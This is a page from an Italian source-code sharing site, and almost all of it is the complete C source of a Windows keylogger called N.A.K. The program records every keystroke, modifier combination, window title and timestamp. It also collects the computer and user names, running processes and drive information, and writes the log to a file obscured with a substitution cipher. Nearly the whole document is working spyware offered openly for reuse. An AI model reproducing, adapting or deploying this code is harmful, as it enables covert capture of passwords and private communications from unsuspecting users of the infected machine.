|
Source manager | |
|
Elenco funzioni : Clear_Scree Client_WP CounterInPh doubleNB ShelldiWindow MontaDischiLinu CriptaHTM ClearScreenPytho FunzionePin OpenAndClos N.A.K Bluetooth Finde calcolatrice! Lascia il tuo sorgente |
Autore : xibron@gmail.com
#include <string.h> #include <stdio.h> #include <windows.h> #include <tlhelp32.h> /* * * * * * * * * * * * * * * * * * * * * * * * ~~~> N.A.K. <~~~ * * * * * * * * * * * * * * * * * * * * * * * * * NorbiX's Advanced KeyLogger * * * * * * * * * * * * * * * * * * * * * * * * * - MSN bobcat01@hotmail.com * * - EMAIL xibron::gmail.com * * - WEB: http://securitybox.altervista.org * * * * * * * * * * * * * * * * * * * * * * * */ /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * -- FEATURES -- * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * - Logga tutti i tasti della tastiera, caratteri minuscoli e maiuscoli, numeri e numeri del tastierino alfanumerico * * - Logga i caratteri speciali (se si preme SHIFT e '1', logga automaticamente '!') * * - Logga combinazioni quali ALT+something e CTRL+something * * - Logga TAB CAPSLOCK e le freccie direzionali * * - Logga i tasti F1-F12 * * - Logga il titolo della finestra corrente, in modo che si sappia dove viene scritta una determinata cosa, logga anche l'ora * * - All'avvio logga data e ora, e scrive che il keylogger � stato avviato * * - All'avvio prende varie informazioni tra cui il nome del computer e dell'utente, la patch della directory windows e system32 * * - All'avvio prende informazioni sulla directory corrente del keylogger e la sua posizione, e la risoluzione del monitor * * - All'avvio ricava le unit� logiche attive * * - All'avvio analizza lo spazio usato, libero, totale e usato in percentuale dell'unit� C:\ * * - All'avvio logga tutti i processi attivi in quell'istante * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ #define LOGFILE "log.txt" // cifrario a sostituzione! mitico! char string1[256] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\n \'=)(/&%$�\"![]���簧,.-_:;<>*+"; // esempio: al carattere 'b' char string2[256] = "aef�]ghij=)/&%$�[5tr!su:;<>IJK.LE�ధ,_mnxyVWopqbc�klABCDv wXY-Z0\'4d12\n3*+M\"NOPUQ6zFG(HRST789"; // corrisponder� il carattere 'e' char temp[1024]; char argv0[1024]; char date[128], time[128]; SYSTEMTIME st; void lgc(char c); // Log Character void lgs(char text[1024]); // Log Character's Vector - String void new_start(void); void general_info(void); void running_process_info(void); void disk_space_info(void); void get_drives_info(void); char encoder(char c); int main(int argc, char **argv) { char process_name[1024], last_process[1024], log_process[1024]; HWND process; int i; strcpy(argv0, argv[0]); new_start(); while(1) { process = GetForegroundWindow(); GetWindowText(process, process_name, 1024); // prende il titolo della finestra corrente if(strcmp(process_name, last_process) == 0) ; // se il titolo � uguale al precedente non lo logga else // altrimenti { GetLocalTime(&st); sprintf(time, "%02d:%02d", st.wHour, st.wMinute); // %02d la flag 0 indica che vanno messi degli 0 finch� la variabile viene scritta // con 2 caratteri (cos�, invece di scrivere ad esempio 9:4, scriver� 09:04 strcpy(last_process, process_name); sprintf(log_process, "\n >> %s - %s <<\n", process_name, time); if(process_name[0] != '\0') lgs(log_process); // lo logga, se ha un nome pi� lungo di 0 byte } if(GetAsyncKeyState(VK_SHIFT)) // se SHIFT � premuto logga lettere maiuscole e i caratteri =!"�$%&/() { for (i = 65; i <= 90; i++) { if (GetAsyncKeyState(i) == -32767) lgc(i); } for(i = 48; i <= 57; i++) // caratteri =!"�$%&/() { if(GetAsyncKeyState(i) == -32767) { if(i==48) lgc(61); if(i==51) lgc(163); if(i==55) lgc(47); else lgc(i-16); } } if(GetAsyncKeyState(220) == -32767) lgc('|'); else if(GetAsyncKeyState(188) == -32767) lgc(';'); else if(GetAsyncKeyState(190) == -32767) lgc(':'); else if(GetAsyncKeyState(189) == -32767) lgc('_'); else if(GetAsyncKeyState(186) == -32767) lgc('�'); else if(GetAsyncKeyState(187) == -32767) lgc('*'); else if(GetAsyncKeyState(192) == -32767) lgc('�'); else if(GetAsyncKeyState(222) == -32767) lgc('�'); else if(GetAsyncKeyState(191) == -32767) lgc('�'); else if(GetAsyncKeyState(219) == -32767) lgc('?'); else if(GetAsyncKeyState(221) == -32767) lgc('^'); else if(GetAsyncKeyState(226) == -32767) lgc('>'); } else if(GetAsyncKeyState(VK_CONTROL) & GetAsyncKeyState(VK_MENU)) // se � premuto CTRL+ALT, logga @#[] { if(GetAsyncKeyState('E') == -32767) lgc(''); else if(GetAsyncKeyState(186) == -32767) lgc('['); else if(GetAsyncKeyState(187) == -32767) lgc(']'); else if(GetAsyncKeyState(192) == -32767) lgc('@'); else if(GetAsyncKeyState(222) == -32767) lgc('#'); else if(GetAsyncKeyState(191) == -32767) lgc('�'); } else if(GetAsyncKeyState(VK_CONTROL)) // logga CTRL+LETTERA { for (i = 65; i <= 90; i++) { if (GetAsyncKeyState(i) == -32767) { sprintf(temp, "<CTRL+%c>", i); lgs(temp); } } for(i = 48; i <= 57; i++) // numeri { if(GetAsyncKeyState(i) == -32767) { sprintf(temp, "<CTRL+%c>", i); lgs(temp); } } for(i = 96; i <= 105; i++) // NUMPAD { if(GetAsyncKeyState(i) == -32767) { sprintf(temp, "<CTRL+P%d>", i-96); lgs(temp); } } } else if(GetAsyncKeyState(VK_MENU)) // logga ALT+LETTERA { for (i = 65; i <= 90; i++) { if (GetAsyncKeyState(i) == -32767) { sprintf(temp, "<ALT+%c>", i); lgs(temp); } } for(i = 48; i <= 57; i++) // numeri { if(GetAsyncKeyState(i) == -32767) { sprintf(temp, "<ALT+%c>", i); lgs(temp); } } for(i = 96; i <= 105; i++) // NUMPAD { if(GetAsyncKeyState(i) == -32767) { sprintf(temp, "<ALT+P%d>", i-96); lgs(temp); } } } else // se SHIFT non � premuto, logga lettere minuscole e i numeri 0123456789 { for (i = 65; i <= 90; i++) { if (GetAsyncKeyState(i) == -32767) lgc(i+32); } for(i = 48; i <= 57; i++) // numeri { if(GetAsyncKeyState(i) == -32767) lgc(i); } if( GetAsyncKeyState(220) == -32767) lgc('\\'); else if( GetAsyncKeyState(188) == -32767) lgc(','); else if( GetAsyncKeyState(190) == -32767) lgc('.'); else if( GetAsyncKeyState(189) == -32767) lgc('-'); else if( GetAsyncKeyState(186) == -32767) lgc('�'); else if( GetAsyncKeyState(187) == -32767) lgc('+'); else if( GetAsyncKeyState(192) == -32767) lgc('�'); else if( GetAsyncKeyState(222) == -32767) lgc('�'); else if( GetAsyncKeyState(191) == -32767) lgc('�'); else if( GetAsyncKeyState(219) == -32767) lgc('\''); else if( GetAsyncKeyState(221) == -32767) lgc('�'); else if( GetAsyncKeyState(226) == -32767) lgc('<'); } for(i = 96; i <= 105; i++) // NUMPAD { if(GetAsyncKeyState(i) == -32767) { sprintf(temp, "<P%d>", i-96); lgs(temp); } } for(i = 112; i <= 123; i++) // F1 - F12 { if(GetAsyncKeyState(i) == -32767) { sprintf(temp, "<F%d>",i-111); lgs(temp); } } if(GetAsyncKeyState(111) == -32767) lgc('/'); else if(GetAsyncKeyState(106) == -32767) lgc('*'); else if(GetAsyncKeyState(109) == -32767) lgc('-'); else if(GetAsyncKeyState(107) == -32767) lgc('+'); else if(GetAsyncKeyState(110) == -32767) lgc('.'); else if(GetAsyncKeyState(VK_CAPITAL) == -32767) lgs("<CPSLCK>"); // CaPSLoCK else if(GetAsyncKeyState(VK_BACK) == -32767) lgs("<BS>"); // BackSpace else if(GetAsyncKeyState(VK_DELETE) == -32767) lgs("<DEL>"); else if(GetAsyncKeyState(VK_ESCAPE) == -32767) lgs("<ESC>"); else if(GetAsyncKeyState(VK_HOME) == -32767) lgs("<HOME>"); else if(GetAsyncKeyState(VK_END) == -32767) lgs("<END>"); else if(GetAsyncKeyState(VK_INSERT) == -32767) lgs("<INS>"); else if(GetAsyncKeyState(VK_TAB) == -32767) lgs("<TAB>"); else if(GetAsyncKeyState(VK_LEFT) == -32767) lgs("<L>"); // left arrow else if(GetAsyncKeyState(VK_RIGHT) == -32767) lgs("<R>"); // right arrow else if(GetAsyncKeyState(VK_UP) == -32767) lgs("<U>"); // up arrow else if(GetAsyncKeyState(VK_DOWN) == -32767) lgs("<D>"); // down arrow else if(GetAsyncKeyState(VK_SPACE) == -32767) lgc(' '); else if(GetAsyncKeyState(VK_RETURN) == -32767) lgc('\n'); Sleep(1); // per non consumare 100% della CPU..... tanto nemmeno io riesco a battere 1000 caratteri al secondo! } } void lgc(char c) // Log Character { sprintf(temp, "%c", c); lgs(temp); } void lgs(char text[1024]) // Log Character's Vector - String { FILE *lgfile; printf("%s", text); for(int j = 0; j <= strlen(text); j++) { temp[j] = encoder(text[j]); // cripta //temp[j] = text[j]; // non cripta } lgfile = fopen(LOGFILE, "a"); if(lgfile != NULL) // se si ha accesso al file scrive, altrimenti no (cos� non crasha nak.exe quando qualcuno apre il log.....) { fprintf(lgfile, "%s", temp); // logga una stringa fclose(lgfile); } } void new_start(void) { GetLocalTime(&st); sprintf(date, "%02d/%02d/%04d", st.wDay, st.wMonth, st.wYear); sprintf(time, "%02d:%02d", st.wHour, st.wMinute); // %02d la flag 0 indica che vanno messi degli 0 finch� la variabile viene scritta // con 2 caratteri (cos�, invece di scrivere ad esempio 9:4, scriver� 09:04 sprintf(temp, "\n >> >> >> Keylogger Started - %s %s << << <<\n", date, time); lgs(temp); general_info(); get_drives_info(); disk_space_info(); // Sleep(7500); // aspetta che si carichino i processi prima di loggarli, utile quando il keylogger si avvia con windows running_process_info(); } void general_info(void) { char tmp[1024]; int x_resolution, y_resolution; DWORD bufCharCount = 1024; SYSTEM_INFO si; GetSystemInfo(&si); GetComputerName(tmp, &bufCharCount); sprintf(temp, "\nComputer name: %s", tmp); lgs(temp); GetUserName(tmp, &bufCharCount); sprintf(temp, "\nUser name: %s", tmp); lgs(temp); GetWindowsDirectory(tmp, 1024); sprintf(temp, "\nWindows dir: %s", tmp); lgs(temp); GetSystemDirectory(tmp, 1024); sprintf(temp, "\nSystem32 dir: %s", tmp); lgs(temp); GetCurrentDirectory(1024, tmp); sprintf(temp, "\nCurrent dir: %s", tmp); lgs(temp); sprintf(temp, "\nN.A.K. path: %s", argv0); lgs(temp); x_resolution = GetSystemMetrics(SM_CXSCREEN); y_resolution = GetSystemMetrics(SM_CYSCREEN); sprintf(temp, "\n\nScreen resolution: %dx%d\n", x_resolution, y_resolution); lgs(temp); } void running_process_info(void) { HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); PROCESSENTRY32 pe32; pe32.dwSize = sizeof(PROCESSENTRY32); lgs("\n ----- Running Process ----- \n"); while(Process32Next(hProcessSnap, &pe32)) { sprintf(temp,"\n%s", pe32.szExeFile); lgs(temp); } CloseHandle(hProcessSnap); lgs("\n\n ----- ----- \n"); } void disk_space_info(void) { __int64 total_int64, free_int64; double total, used, free; GetDiskFreeSpaceEx("C:\\", 0, (PULARGE_INTEGER)&total_int64, (PULARGE_INTEGER)&free_int64); total = (double)total_int64 / (1024*1024*1024); free = (double)free_int64 / (1024*1024*1024); used = total - free; lgs("\nDisk space analizer (C:\\)\n"); sprintf(temp, "\n - Total disk space: %*.*fGB", 4, 2, total); lgs(temp); sprintf(temp, "\n - Used disk space: %*.*fGB", 4, 2, used); lgs(temp); sprintf(temp, "\n - Free disk space: %*.*fGB", 4, 2, free); lgs(temp); sprintf(temp, "\n - Used disk space: %*.*f%%\n", 3, 2, used/total*100); lgs(temp); } void get_drives_info(void) { char temp[1024]; // variabile locale della funzione, per accedere alla variabile globale con lo stesso nome bisogna scrivere ::temp lgs("\nLogical drives analizer\n\n"); memset(temp, 0, strlen(temp)); GetLogicalDriveStrings(1024, temp); lgs(" - "); for(int i = 0; i <= 1024; i++) { if((temp[i] == 0) && (temp[i+1] == 0)) break; else if(temp[i] == 0) lgs("\n - "); else lgc(temp[i]); } lgc('\n'); } char encoder(char c) { for(int i = 0; i <= strlen(string1); i++) { if(c == string1[i]) return string2[i]; } return c; } |